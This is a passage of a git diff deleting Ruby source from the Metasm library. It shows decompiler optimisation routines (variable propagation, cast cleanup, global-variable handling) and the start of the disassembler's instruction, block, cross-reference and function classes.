find_next_read_ce[ce, var] - next ret if ret - - to = g.to_optim[label].to_a.map { |t| - break [:split] if badlabels.include? t - find_next_read_rec[t, 0, var, done, badlabels] - }.compact - - tw = to - [:write] - if to.include? :split or tw.length > 1 - :split - elsif tw.length == 1 - tw.first - elsif to.include? :write - :write - end - } - # return the previous subexpr reading var with no fwd path to another reading (otherwise split), see loop comment for reason - find_next_read = nil - find_prev_read_rec = lambda { |label, idx, var, done| - next if done.include? label - done << label if idx == g.exprs[label].length-1 - - idx -= 1 while idx >= 0 and ce = g.exprs[label].to_a[idx] and not ret = find_next_read_ce[ce, var] - if ret.kind_of? C::CExpression - fwchk = find_next_read[label, idx+1, var] - ret = fwchk if not fwchk.kind_of? C::CExpression - end - next ret if ret - - from = g.from_optim[label].to_a.map { |f| - find_prev_read_rec[f, g.exprs[f].to_a.length-1, var, done] - }.compact - - next :split if from.include? :split - fw = from - [:write] - if fw.length == 1 - fw.first - elsif fw.length > 1 - :split - elsif from.include? :write - :write - end - } - - # list of labels reachable without using a label - badlab = {} - build_badlabel = lambda { |label| - next if badlab[label] - badlab[label] = [] - todo = [g.start] - while l = todo.pop - next if l == label or badlab[label].include? l - badlab[label] << l - todo.concat g.to_optim[l].to_a - end - } - - # returns the next subexpr where var is read - # returns :write if var is written before being read - # returns :split if the codepath splits with both subpath reading or codepath merges with another - # returns nil if var is never read - # idx is the index of the first cexpr at g.exprs[label] to look at - find_next_read = lambda { |label, idx, var| - find_next_read_rec[label, idx, var, [], []] - } - find_prev_read = lambda { |label, idx, var| - find_prev_read_rec[label, idx, var, []] - } - # same as find_next_read, but returns :split if there exist a path from g.start to the read without passing through label - find_next_read_bl = lambda { |label, idx, var| - build_badlabel[label] - find_next_read_rec[label, idx, var, [], badlab[label]] - } - - # walk each node, optimize data accesses there - # replace no longer useful exprs with CExpr[nil, nil, nil], those are wiped later. - g.exprs.each { |label, exprs| - next if not g.block[label] - i = 0 - while i < exprs.length - e = exprs[i] - i += 1 - - # TODO x = x + 1 => x += 1 => ++x here, move all other optimizations after (in optim_code) - # needs also int & 0xffffffff -> int, *&var etc (decomp_type? optim_type?) - if (e.op == :'++' or e.op == :'--') and v = (e.lexpr || e.rexpr) and v.kind_of? C::Variable and - scope.symbol[v.name] and not v.type.qualifier.to_a.include? :volatile - next if !((pos = :post.to_sym) and (oe = find_next_read_bl[label, i, v]) and oe.kind_of? C::CExpression) and - !((pos = :prev.to_sym) and (oe = find_prev_read[label, i-2, v]) and oe.kind_of? C::CExpression) - next if oe.op == :& and not oe.lexpr # no &(++eax) - - # merge pre/postincrement into next/prev var usage - # find_prev_read must fwd check when it finds something, to avoid - # while(x) x++; return x; to be converted to while(x++); return x; (return wrong value) - case oe.op - when e.op - # bla(i--); --i bla(--i); --i ++i; bla(i++) => ignore - next if pos == :pre or oe.lexpr - # ++i; bla(++i) => bla(i += 2) - oe.lexpr = oe.rexpr - oe.op = ((oe.op == :'++') ? :'+=' : :'-=') - oe.rexpr = C::CExpression[2] - - when :'++', :'--' # opposite of e.op - if (pos == :post and not oe.lexpr) or (pos == :pre and not oe.rexpr) - # ++i; bla(--i) => bla(i) - # bla(i--); ++i => bla(i) - oe.op = nil - elsif pos == :post - # ++i; bla(i--) => bla(i+1) - oe.op = ((oe.op == :'++') ? :- : :+) - oe.rexpr = C::CExpression[1] - elsif pos == :pre - # bla(--i); ++i => bla(i-1) - oe.lexpr = oe.rexpr - oe.op = ((oe.op == :'++') ? :+ : :-) - oe.rexpr = C::CExpression[1] - end - when :'+=', :'-=' - # TODO i++; i += 4 => i += 5 - next - when *AssignOp - next # ++i; i |= 4 => ignore - else - if pos == :post and v == oe.lexpr; oe.lexpr = C::CExpression[e.op, v] - elsif pos == :post and v == oe.rexpr; oe.rexpr = C::CExpression[e.op, v] - elsif pos == :prev and v == oe.rexpr; oe.rexpr = C::CExpression[v, e.op] - elsif pos == :prev and v == oe.lexpr; oe.lexpr = C::CExpression[v, e.op] - else raise 'foobar' # find_dir_read failed - end - end - - i -= 1 - exprs.delete_at(i) - e.lexpr = e.op = e.rexpr = nil - - - elsif e.op == :'=' and v = e.lexpr and v.kind_of? C::Variable and scope.symbol[v.name] and - not v.type.qualifier.to_a.include? :volatile and not find_next_read_ce[e.rexpr, v] - - # reduce trivial static assignments - if (e.rexpr.kind_of? C::CExpression and iv = e.rexpr.reduce(@c_parser) and iv.kind_of? ::Integer) or - (e.rexpr.kind_of? C::CExpression and e.rexpr.op == :& and not e.rexpr.lexpr and e.rexpr.lexpr.kind_of? C::Variable) or - (e.rexpr.kind_of? C::Variable and e.rexpr.type.kind_of? C::Array) - rewritten = false - readers = [] - discard = [e] - g.exprs.each { |l, el| - el.each_with_index { |ce, ci| - if ce_write(ce, v) and [label, i-1] != [l, ci] - if ce == e - discard << ce - else - rewritten = true - break - end - elsif ce_read(ce, v) - if walk_ce(ce) { |_ce| break true if _ce.op == :& and not _ce.lexpr and _ce.rexpr == v } - # i = 2 ; j = &i =!> j = &2 - rewritten = true - break - end - readers << ce - end - } if not rewritten - } - if not rewritten - ce_patch(readers, v, C::CExpression[iv || e.rexpr]) - discard.each { |d| d.lexpr = d.op = d.rexpr = nil } - next - end - end - - case nr = find_next_read[label, i, v] - when C::CExpression - # read in one place only, try to patch rexpr in there - r = e.rexpr - - # must check for conflicts (x = y; y += 1; foo(x) =!> foo(y)) - # XXX x = a[1]; *(a+1) = 28; foo(x)... - isfunc = false - depend_vars = [] - walk_ce(C::CExpression[r]) { |ce| - isfunc = true if ce.op == :func and (not ce.lexpr.kind_of? C::Variable or - not ce.lexpr.has_attribute('pure')) # XXX is there a C attr for func depending only on staticvars+param ? - depend_vars << ce.lexpr if ce.lexpr.kind_of? C::Variable - depend_vars << ce.rexpr if ce.rexpr.kind_of? C::Variable and (ce.lexpr or ce.op != :&) # a = &v; v = 12; func(a) => func(&v) - depend_vars << ce if ce.lvalue? - depend_vars.concat(ce.rexpr.grep(C::Variable)) if ce.rexpr.kind_of? ::Array - } - depend_vars.uniq! - - # XXX x = 1; if () { x = 2; } foo(x) =!> foo(1) (find_next_read will return this) - # we'll just redo a find_next_read like - # XXX b = &a; a = 1; *b = 2; foo(a) unhandled & generate bad C - l_l = label - l_i = i - while g.exprs[l_l].to_a.each_with_index { |ce_, n_i| - next if n_i < l_i - # count occurences of read v in ce_ - cnt = 0 - bad = false - walk_ce(ce_) { |ce| - case ce.op - when :funcall - bad = true if isfunc - ce.rexpr.each { |a| cnt += 1 if a == v } - cnt += 1 if ce.lexpr == v - when :'=' - bad = true if depend_vars.include? ce.lexpr - cnt += 1 if ce.rexpr == v - else - bad = true if (ce.op == :'++' or ce.op == :'--') and depend_vars.include? ce.rexpr - bad = true if AssignOp.include? ce.op and depend_vars.include? ce.lexpr - cnt += 1 if ce.lexpr == v - cnt += 1 if ce.rexpr == v - end - } - case cnt - when 0 - break if bad - next - when 1 # good - break if e.complexity > 10 and ce_.complexity > 3 # try to keep the C readable - # x = 1; y = x; z = x; => cannot suppress x - nr = find_next_read[l_l, n_i+1, v] - break if (nr.kind_of? C::CExpression or nr == :split) and not walk_ce(ce_) { |ce| break true if ce.op == :'=' and ce.lexpr == v } - else break # a = 1; b = a + a => fail - end - - # TODO XXX x = 1; y = x; z = x; - res = walk_ce(ce_, true) { |ce| - case ce.op - when :funcall - if ce.rexpr.to_a.each_with_index { |a,i_| - next if a != v - ce.rexpr[i_] = r - break :done - } == :done - break :done - elsif ce.lexpr == v - ce.lexpr = r - break :done - elsif isfunc - break :fail - end - when *AssignOp - break :fail if not ce.lexpr and depend_vars.include? ce.rexpr # ++depend - if ce.rexpr == v - ce.rexpr = r - break :done - elsif ce.lexpr == v or depend_vars.include? ce.lexpr - break :fail - end - else - break :fail if ce.op == :& and not ce.lexpr and ce.rexpr == v - if ce.lexpr == v - ce.lexpr = r - break :done - elsif ce.rexpr == v - ce_.type = r.type if not ce_.op and ce_.rexpr == v # return (int32)eax - ce.rexpr = r - break :done - end - end - } - case res - when :done - i -= 1 - exprs.delete_at(i) - e.lexpr = e.op = e.rexpr = nil - break - when :fail - break - end - } - # ignore branches that will never reuse v - may_to = g.to_optim[l_l].find_all { |to| find_next_read[to, 0, v].kind_of? C::CExpression } - if may_to.length == 1 and to = may_to.first and to != l_l and g.from_optim[to] == [l_l] - l_i = 0 - l_l = to - else break - end - end - - when nil, :write - # useless assignment (value never read later) - # XXX foo = &bar; bar = 12; baz(*foo) - e.replace(C::CExpression[e.rexpr]) - # remove sideeffectless subexprs - loop do - case e.op - when :funcall, *AssignOp - else - l = (e.lexpr.kind_of? C::CExpression and sideeffect(e.lexpr)) - r = (e.rexpr.kind_of? C::CExpression and sideeffect(e.rexpr)) - if l and r # could split... - elsif l - e.replace(e.lexpr) - next - elsif r - e.replace(e.rexpr) - next - else # remove the assignment altogether - i -= 1 - exprs.delete_at(i) - e.lexpr = e.op = e.rexpr = nil - end - end - break - end - end - end - end - } - - # wipe cexprs marked in the previous step - walk(scope) { |st| - next if not st.kind_of? C::Block - st.statements.delete_if { |e| e.kind_of? C::CExpression and not e.lexpr and not e.op and not e.rexpr } - } - - # reoptimize cexprs - walk_ce(scope, true) { |ce| - # redo some simplification that may become available after variable propagation - # int8 & 255 => int8 - if ce.op == :& and ce.lexpr and ce.lexpr.type.integral? and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == (1 << (8*sizeof(ce.lexpr))) - 1 - ce.replace C::CExpression[ce.lexpr] - end - - # int *ptr; *(ptr + 4) => ptr[4] - if ce.op == :* and not ce.lexpr and ce.rexpr.kind_of? C::CExpression and ce.rexpr.op == :+ and var = ce.rexpr.lexpr and var.kind_of? C::Variable and var.type.pointer? - ce.lexpr, ce.op, ce.rexpr = ce.rexpr.lexpr, :'[]', ce.rexpr.rexpr - end - - # useless casts - if not ce.op and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and (ce.rexpr.rexpr.kind_of? C::CExpression or - (ce.type.pointer? and ce.rexpr.rexpr == 0 and not ce.type.pointed.untypedef.kind_of? C::Union)) # keep ((struct*)0)->memb - ce.rexpr = ce.rexpr.rexpr - end - if not ce.op and ce.rexpr.kind_of? C::CExpression and (ce.type == ce.rexpr.type or (ce.type.integral? and ce.rexpr.type.integral?)) - ce.replace ce.rexpr - end - # useless casts (type)*((oeua)Ptype) - if not ce.op and ce.rexpr.kind_of? C::CExpression and ce.rexpr.op == :* and not ce.rexpr.lexpr and ce.rexpr.rexpr.kind_of? C::CExpression and not ce.rexpr.rexpr.op and - p = ce.rexpr.rexpr.rexpr and p.kind_of? C::Typed and p.type.pointer? and ce.type == p.type.pointed - ce.op = ce.rexpr.op - ce.rexpr = ce.rexpr.rexpr.rexpr - end - # (a > 0) != 0 - if ce.op == :'!=' and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == 0 and ce.lexpr.kind_of? C::CExpression and - [:<, :<=, :>, :>=, :'==', :'!=', :'!'].include? ce.lexpr.op - ce.replace ce.lexpr - end - # a == 0 => !a - if ce.op == :== and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == 0 - ce.replace C::CExpression[:'!', ce.lexpr] - end - # !(int)a => !a - if ce.op == :'!' and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr.kind_of? C::CExpression - ce.rexpr = ce.rexpr.rexpr - end - # (int)a < (int)b => a < b TODO uint <-> int - if [:<, :<=, :>, :>=].include? ce.op and ce.rexpr.kind_of? C::CExpression and ce.lexpr.kind_of? C::CExpression and not ce.rexpr.op and not ce.lexpr.op and - ce.rexpr.rexpr.kind_of? C::CExpression and ce.rexpr.rexpr.type.pointer? and ce.lexpr.rexpr.kind_of? C::CExpression and ce.lexpr.rexpr.type.pointer? - ce.rexpr = ce.rexpr.rexpr - ce.lexpr = ce.lexpr.rexpr - end - - # a & 3 & 1 - while (ce.op == :& or ce.op == :|) and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr.kind_of? ::Integer and - ce.lexpr.kind_of? C::CExpression and ce.lexpr.op == ce.op and ce.lexpr.lexpr and - ce.lexpr.rexpr.kind_of? C::CExpression and ce.lexpr.rexpr.rexpr.kind_of? ::Integer - ce.lexpr, ce.rexpr.rexpr = ce.lexpr.lexpr, ce.lexpr.rexpr.rexpr.send(ce.op, ce.rexpr.rexpr) - end - - # x = x | 4 => x |= 4 - if ce.op == :'=' and ce.rexpr.kind_of? C::CExpression and [:+, :-, :*, :/, :|, :&, :^, :>>, :<<].include? ce.rexpr.op and ce.rexpr.lexpr == ce.lexpr - ce.op = (ce.rexpr.op.to_s + '=').to_sym - ce.rexpr = ce.rexpr.rexpr - end - - # x += 1 => ++x - if (ce.op == :'+=' or ce.op == :'-=') and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == 1 - ce.lexpr, ce.op, ce.rexpr = nil, {:'+=' => :'++', :'-=' => :'--'}[ce.op], ce.lexpr - end - - # --x+1 => x-- - if (ce.op == :+ or ce.op == :-) and ce.lexpr.kind_of? C::CExpression and ce.lexpr.op == {:+ => :'--', :- => :'++'}[ce.op] and - ce.lexpr.rexpr and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == 1 - ce.lexpr, ce.op, ce.rexpr = ce.lexpr.rexpr, ce.lexpr.op, nil - end - } - end - - def remove_unreferenced_vars(scope) - used = {} - walk_ce(scope) { |ce| - # remove unreferenced local vars - used[ce.rexpr.name] = true if ce.rexpr.kind_of? C::Variable - used[ce.lexpr.name] = true if ce.lexpr.kind_of? C::Variable - ce.rexpr.each { |v| used[v.name] = true if v.kind_of? C::Variable } if ce.rexpr.kind_of?(::Array) - } - unused = scope.symbol.keys.find_all { |n| not used[n] } - unused.each { |v| scope.symbol[v].add_attribute 'unused' } # fastcall args need it - scope.statements.delete_if { |sm| sm.kind_of? C::Declaration and unused.include? sm.var.name } - scope.symbol.delete_if { |n, v| unused.include? n } - end - - def finalize - optimize_global - true - end - - def optimize_global - # check all global vars (pointers to global data) - tl = @c_parser.toplevel - vars = tl.symbol.keys.find_all { |k| tl.symbol[k].kind_of? C::Variable and not tl.symbol[k].type.kind_of? C::Function } - countref = Hash.new(0) - - walk_ce(tl) { |ce| - # XXX int foo; void bar() { int foo; } => false negative - countref[ce.rexpr.name] += 1 if ce.rexpr.kind_of? C::Variable - countref[ce.lexpr.name] += 1 if ce.lexpr.kind_of? C::Variable - } - - vars.delete_if { |v| countref[v] == 0 } - countref.delete_if { |k, v| not vars.include? k } - - # by default globals are C::Arrays - # if all references are *foo, dereference the var type - # TODO allow foo to appear (change to &foo) (but still disallow casts/foo+12 etc) - countderef = Hash.new(0) - walk_ce(tl) { |ce| - if ce.op == :* and not ce.lexpr - r = ce.rexpr - elsif ce.op == :'->' - r = C::CExpression[ce.lexpr] - else next - end - # compare type.type cause var is an Array and the cast is a Pointer - countderef[r.rexpr.name] += 1 if r.kind_of? C::CExpression and not r.op and r.rexpr.kind_of? C::Variable and - sizeof(nil, r.type.type) == sizeof(nil, r.rexpr.type.type) rescue nil - } - vars.each { |n| - if countref[n] == countderef[n] - v = tl.symbol[n] - target = C::CExpression[:*, [v]] - v.type = v.type.type - v.initializer = v.initializer.first if v.initializer.kind_of? ::Array - walk_ce(tl) { |ce| - if ce.op == :'->' and C::CExpression[ce.lexpr] == C::CExpression[v] - ce.op = :'.' - elsif ce.lexpr == target - ce.lexpr = v - end - ce.rexpr = v if ce.rexpr == target - ce.lexpr, ce.op, ce.rexpr = nil, nil, v if ce == target - } - end - } - - # if a global var appears only in one function, make it a static variable - tl.statements.each { |st| - next if not st.kind_of? C::Declaration or not st.var.type.kind_of? C::Function or not scope = st.var.initializer - localcountref = Hash.new(0) - walk_ce(scope) { |ce| - localcountref[ce.rexpr.name] += 1 if ce.rexpr.kind_of? C::Variable - localcountref[ce.lexpr.name] += 1 if ce.lexpr.kind_of? C::Variable - } - - vars.delete_if { |n| - next if scope.symbol[n] - next if localcountref[n] != countref[n] - v = tl.symbol.delete(n) - tl.statements.delete_if { |d| d.kind_of? C::Declaration and d.var.name == n } - - if countref[n] == 1 and v.initializer.kind_of? C::CExpression and v.initializer.rexpr.kind_of? String - walk_ce(scope) { |ce| - if ce.rexpr.kind_of? C::Variable and ce.rexpr.name == n - if not ce.op - ce.replace v.initializer - else - ce.rexpr = v.initializer - end - elsif ce.lexpr.kind_of? C::Variable and ce.lexpr.name == n - ce.lexpr = v.initializer - end - } - else - v.storage = :static - scope.symbol[v.name] = v - scope.statements.unshift C::Declaration.new(v) - end - - true - } - } - end - - # reorder statements to put decl first, move assignments to decl, move args to func prototype - def cleanup_var_decl(scope, func) - scope.symbol.each_value { |v| v.type = C::BaseType.new(:int) if v.type.void? } - - args = func.type.args - decl = [] - scope.statements.delete_if { |sm| - next if not sm.kind_of? C::Declaration - if sm.var.stackoff.to_i > 0 and sm.var.name !~ /_a(\d+)$/ # aliased vars: use 1st domain only - args << sm.var - else - decl << sm - end - true - } - - # move trivial affectations to initialiser - # XXX a = 1 ; b = a ; a = 2 - go = true # break from delete_if does not delete.. - scope.statements.delete_if { |st| - if go and st.kind_of? C::CExpression and st.op == :'=' and st.rexpr.kind_of? C::CExpression and not st.rexpr.op and - st.rexpr.rexpr.kind_of? ::Integer and st.lexpr.kind_of? C::Variable and scope.symbol[st.lexpr.name] - st.lexpr.initializer = st.rexpr - else - go = false - end - } - - # reorder declarations - scope.statements[0, 0] = decl.sort_by { |sm| [-sm.var.stackoff.to_i, sm.var.name] } - - # ensure arglist has no hole (create&add unreferenced args) - func.type.args = [] - argoff = @c_parser.typesize[:ptr] - args.sort_by { |sm| sm.stackoff.to_i }.each { |a| - # XXX misalignment ? - if not curoff = a.stackoff - func.type.args << a # __fastcall - next - end - while curoff > argoff - wantarg = C::Variable.new - wantarg.name = scope.decompdata[:stackoff_name][argoff] || stackoff_to_varname(argoff) - wantarg.type = C::BaseType.new(:int) - wantarg.attributes = ['unused'] - func.type.args << wantarg - scope.symbol[wantarg.name] = wantarg - argoff += @c_parser.typesize[:ptr] - end - func.type.args << a - argoff += @c_parser.typesize[:ptr] - } - end - - # rename local variables from subfunc arg names - def rename_variables(scope) - funcs = [] - cntrs = [] - cmpi = [] - - walk_ce(scope) { |ce| - funcs << ce if ce.op == :funcall - cntrs << (ce.lexpr || ce.rexpr) if ce.op == :'++' - cmpi << ce.lexpr if [:<, :>, :<=, :>=, :==, :'!='].include? ce.op and ce.rexpr.kind_of? C::CExpression and ce.rexpr.rexpr.kind_of? ::Integer - } - - rename = lambda { |var, name| - var = var.rexpr if var.kind_of? C::CExpression and not var.op - next if not var.kind_of? C::Variable or not scope.symbol[var.name] or not name - next if (var.name !~ /^(var|arg)_/ and not var.storage == :register) or not scope.symbol[var.name] or name =~ /^(var|arg)_/ - s = scope.symbol_ancestors - n = name - i = 0 - n = name + "#{i+=1}" while s[n] - scope.symbol[n] = scope.symbol.delete(var.name) - var.name = n - } - - funcs.each { |ce| - next if not ce.lexpr.kind_of? C::Variable or not ce.lexpr.type.kind_of? C::Function - ce.rexpr.to_a.zip(ce.lexpr.type.args.to_a).each { |a, fa| rename[a, fa.name] if fa } - } - funcs.each { |ce| - next if not ce.lexpr.kind_of? C::Variable or not ce.lexpr.type.kind_of? C::Function - ce.rexpr.to_a.zip(ce.lexpr.type.args.to_a).each { |a, fa| - next if not a.kind_of? C::CExpression or a.op != :& or a.lexpr - next if not fa or not fa.name - rename[a.rexpr, fa.name.sub(/^l?p/, '')] - } - } - (cntrs & cmpi).each { |v| rename[v, 'cntr'] } - end - - # yield each CExpr member (recursive, allows arrays, order: self(!post), lexpr, rexpr, self(post)) - # if given a non-CExpr, walks it until it finds a CExpr to yield - def walk_ce(ce, post=false, &b) - case ce - when C::CExpression - yield ce if not post - walk_ce(ce.lexpr, post, &b) - walk_ce(ce.rexpr, post, &b) - yield ce if post - when ::Array - ce.each { |ce_| walk_ce(ce_, post, &b) } - when C::Statement - case ce - when C::Block; walk_ce(ce.statements, post, &b) - when C::If - walk_ce(ce.test, post, &b) - walk_ce(ce.bthen, post, &b) - walk_ce(ce.belse, post, &b) if ce.belse - when C::While, C::DoWhile - walk_ce(ce.test, post, &b) - walk_ce(ce.body, post, &b) - when C::Return - walk_ce(ce.value, post, &b) if ce.value - end - when C::Declaration - walk_ce(ce.var.initializer, post, &b) if ce.var.initializer - end - nil - end - - # yields each statement (recursive) - def walk(scope, post=false, &b) - case scope - when ::Array; scope.each { |s| walk(s, post, &b) } - when C::Statement - yield scope if not post - case scope - when C::Block; walk(scope.statements, post, &b) - when C::If - yield scope.test - walk(scope.bthen, post, &b) - walk(scope.belse, post, &b) if scope.belse - when C::While, C::DoWhile - yield scope.test - walk(scope.body, post, &b) - when C::Return - yield scope.value - end - yield scope if post - when C::Declaration - walk(scope.var.initializer, post, &b) if scope.var.initializer - end - end - - # forwards to @c_parser, handles cast to Array (these should not happen btw...) - def sizeof(var, type=nil) - var, type = nil, var if var.kind_of? C::Type and not type - type ||= var.type - return @c_parser.typesize[:ptr] if type.kind_of? C::Array and not var.kind_of? C::Variable - @c_parser.sizeof(var, type) rescue -1 - end -end -end diff --git a/lib/metasm/metasm/disassemble.rb b/lib/metasm/metasm/disassemble.rb deleted file mode 100644 index 01a91eb803..0000000000 --- a/lib/metasm/metasm/disassemble.rb +++ /dev/null @@ -1,2220 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/decode' - - -module Metasm -# holds information for decoded instructions: the original opcode, a pointer to the InstructionBlock, etc -class DecodedInstruction - # the instance of InstructionBlock this di is into - attr_accessor :block - # our offset (in bytes) from the start of the block, used only for hexdump - attr_accessor :block_offset - # the address of the instruction's first byte in memory - attr_accessor :address - # the disassembled data - attr_accessor :instruction, :opcode - # our, length in bytes - attr_accessor :bin_length - # array of arbitrary strings - attr_accessor :comment - # a cache of the binding used by the backtracker to emulate this instruction - attr_accessor :backtrace_binding - - # create a new DecodedInstruction with an Instruction whose cpu is the argument - # can take an existing Instruction as argument - def initialize(arg, addr=nil) - case arg - when Instruction - @instruction = arg - @opcode = @instruction.cpu.opcode_list.find { |op| op.name == @instruction.opname } if @instruction.cpu - else @instruction = Instruction.new(arg) - end - @bin_length = 0 - @address = addr if addr - end - - def next_addr=(a) @next_addr = a end - def next_addr - (@next_addr ||= nil) || (address + @bin_length) if address - end - - def show - if block - bin = @block.edata.data[@block.edata_ptr+@block_offset, @bin_length].unpack('C*').map { |c| '%02x' % c }.join - if @bin_length > 12 - bin = bin[0, 20] + "..<+#{@bin_length-10}>" - end - " #{@instruction.to_s.ljust(44)} ; @#{Expression[address]} #{bin} #{@comment.sort[0,6].join(' ') if comment}" - else - "#{@instruction}#{' ; ' + @comment.join(' ') if comment}" - end - end - - include Renderable - def render - ret = [] - ret << Expression[address] << ' ' if address - ret << @instruction - ret << ' ; ' << @comment if comment - ret - end - - def add_comment(c) - @comment ||= [] - @comment |= [c] - end - - # returns a copy of the DecInstr, with duplicated #instruction ("deep_copy") - def dup - new = super() - new.instruction = @instruction.dup - new - end -end - -# holds information on a backtracked expression near begin and end of instruction blocks (#backtracked_for) -class BacktraceTrace - # address of the instruction in the block from which rebacktrace should start (use with from_subfuncret bool) - # address is nil if the backtrace is from block start - # exclude_instr is a bool saying if the backtrace should start at address or at the preceding instruction - # these are optional: if absent, expr is to be rebacktracked when a new codepath arrives at the beginning of the block - attr_accessor :address, :from_subfuncret, :exclude_instr - # address of the instruction that initiated the backtrace - attr_accessor :origin - # the Expression to backtrace at this point - attr_accessor :expr - # the original backtracked Expression - attr_accessor :orig_expr - # length of r/w xref (in bytes) - attr_accessor :len - # :r/:w/:x - attr_accessor :type - # bool: true if this maps to a :x that should not have a from when resolved - attr_accessor :detached - # maxdepth at the point of the object creation - attr_accessor :maxdepth - - def initialize(expr, origin, orig_expr, type, len=nil, maxdepth=nil) - @expr, @origin, @orig_expr, @type = expr, origin, orig_expr, type - @len = len if len - @maxdepth = maxdepth if maxdepth - end - - def hash ; [origin, expr].hash ; end - def eql?(o) - o.class == self.class and - [ address, from_subfuncret, exclude_instr, origin, orig_expr, len, type, detached] == - [o.address, o.from_subfuncret, o.exclude_instr, o.origin, o.orig_expr, o.len, o.type, o.detached] - end - alias == eql? -end - -# a cross-reference, tracks read/write/execute memory accesses by decoded instructions -class Xref - # :r/:w/:x - attr_accessor :type - # length of r/w (in bytes) - attr_accessor :len - # address of the instruction responsible of the xref - attr_accessor :origin - # XXX list of instructions intervening in the backtrace ? - - def initialize(type, origin, len=nil) - @origin, @type = origin, type - @len = len if len - end - - def hash ; @origin.hash ; end - def eql?(o) o.class == self.class and [type, len, origin] == [o.type, o.len, o.origin] end - alias == eql? -end - -# holds a list of contiguous decoded instructions, forming an uninterrupted block (except for eg CPU exceptions) -# most attributes are either a value or an array of values, use the associated iterator. -class InstructionBlock - # address of the first instruction - attr_accessor :address - # pointer to raw data - attr_accessor :edata, :edata_ptr - # list of DecodedInstructions - attr_accessor :list - # address of instructions giving control directly to us - # includes addr of normal instruction when call flow continues to us past the end of the preceding block - # does not include addresses of subfunction return instructions - # may be nil or an array - attr_accessor :from_normal - # address of instructions called/jumped to - attr_accessor :to_normal - # address of an instruction that calls a subfunction which returns to us - attr_accessor :from_subfuncret - # address of instruction executed after a called subfunction returns - attr_accessor :to_subfuncret - # address of instructions executed indirectly through us (callback in a subfunction, SEH...) - # XXX from_indirect is not populated for now - attr_accessor :from_indirect, :to_indirect - # array of BacktraceTrace - # when a new code path comes to us, it should be backtracked for the values of :r/:w/:x using btt with no address - # for internal use only (block splitting): btt with an address - attr_accessor :backtracked_for - - # create a new InstructionBlock based at address - # also accepts a DecodedInstruction or an Array of them to initialize from - def initialize(arg0, edata=nil, edata_ptr=nil) - @list = [] - case arg0 - when DecodedInstruction - @address = arg0.address - add_di(arg0) - when Array - @address = arg0.first.address if not arg0.empty? - arg0.each { |di| add_di(di) } - else - @address = arg0 - end - edata_ptr ||= edata ? edata.ptr : 0 - @edata, @edata_ptr = edata, edata_ptr - @backtracked_for = [] - end - - def bin_length - (di = @list.last) ? di.block_offset + di.bin_length : 0 - end - - # splits the current block into a new one with all di from address addr to end - # caller is responsible for rebacktracing new.bt_for to regenerate correct old.btt/new.btt - def split(addr) - raise "invalid split @#{Expression[addr]}" if not idx = @list.index(@list.find { |di| di.address == addr }) or idx == 0 - off = @list[idx].block_offset - new_b = self.class.new(addr, @edata, @edata_ptr + off) - new_b.add_di @list.delete_at(idx) while @list[idx] - new_b.to_normal, @to_normal = to_normal, new_b.to_normal - new_b.to_subfuncret, @to_subfuncret = to_subfuncret, new_b.to_subfuncret - new_b.add_from @list.last.address - add_to new_b.address - @backtracked_for.delete_if { |btt| - if btt.address and new_b.list.find { |di| di.address == btt.address } - new_b.backtracked_for << btt - true - end - } - new_b - end - - # adds a decodedinstruction to the block list, updates di.block and di.block_offset - def add_di(di) - di.block = self - di.block_offset = bin_length - di.address ||= @address + di.block_offset - @list << di - end -end - -# a factorized subfunction as seen by the disassembler -class DecodedFunction - # when backtracking an instruction that calls us, use this binding and then the instruction's - # the binding is lazily filled up for non-external functions, register by register, when - # a backtraced expression depends on it - attr_accessor :backtrace_binding - # same as InstructionBlock#backtracked_for - # includes the expression responsible of the function return (eg [esp] on ia32) - attr_accessor :backtracked_for - # addresses of instruction causing the function to return - attr_accessor :return_address - # a lambda called for dynamic backtrace_binding generation - attr_accessor :btbind_callback - # a lambda called for dynamic backtracked_for - attr_accessor :btfor_callback - # bool, if false the function is actually being disassembled - attr_accessor :finalized - # bool, if true the function does not return (eg exit() or ExitProcess()) - attr_accessor :noreturn - # hash stackoff => varname - # varname is a single String object shared by all ExpressionStrings (to allow renames) - attr_accessor :localvars - # hash stack offset => di address - attr_accessor :localvars_xrefs - - # if btbind_callback is defined, calls it with args [dasm, binding, funcaddr, calladdr, expr, origin, maxdepth] - # else update lazily the binding from expr.externals, and return backtrace_binding - def get_backtrace_binding(dasm, funcaddr, calladdr, expr, origin, maxdepth) - if btbind_callback - @btbind_callback[dasm, @backtrace_binding, funcaddr, calladdr, expr, origin, maxdepth] - elsif backtrace_binding and dest = @backtrace_binding[:thunk] and target = dasm.function[dest] - target.get_backtrace_binding(dasm, funcaddr, calladdr, expr, origin, maxdepth) - else - unk_regs = expr.externals.grep(Symbol).uniq - @backtrace_binding.keys - [:unknown] - dasm.cpu.backtrace_update_function_binding(dasm, funcaddr, self, return_address, *unk_regs) if not unk_regs.empty? - @backtrace_binding - end - end - - # if btfor_callback is defined, calls it with args [dasm, bt_for, funcaddr, calladdr] - # else return backtracked_for - def get_backtracked_for(dasm, funcaddr, calladdr) - if btfor_callback - @btfor_callback[dasm, @backtracked_for, funcaddr, calladdr] - elsif backtrace_binding and dest = @backtrace_binding[:thunk] and target = dasm.function[dest] - target.get_backtracked_for(dasm, funcaddr, calladdr) - else - @backtracked_for - end - end - - def initialize - @backtracked_for = [] - @backtrace_binding = {} - end - - def get_localvar_stackoff(off, di=nil, str=nil) - if di - @localvars_xrefs ||= {} - @localvars_xrefs[off] ||= [] - @localvars_xrefs[off] |= [di.address] - end - @localvars ||= {} - @localvars[off] ||= (str || (off > 0 ? 'arg_%X' % off : 'var_%X' % -off)) - end -end - -class CPU - # return the thing to backtrace to find +value+ before the execution of this instruction - # eg backtrace_emu('inc eax', Expression[:eax]) => Expression[:eax + 1] - # (the value of :eax after 'inc eax' is the value of :eax before plus 1) - # may return Expression::Unknown - def backtrace_emu(di, 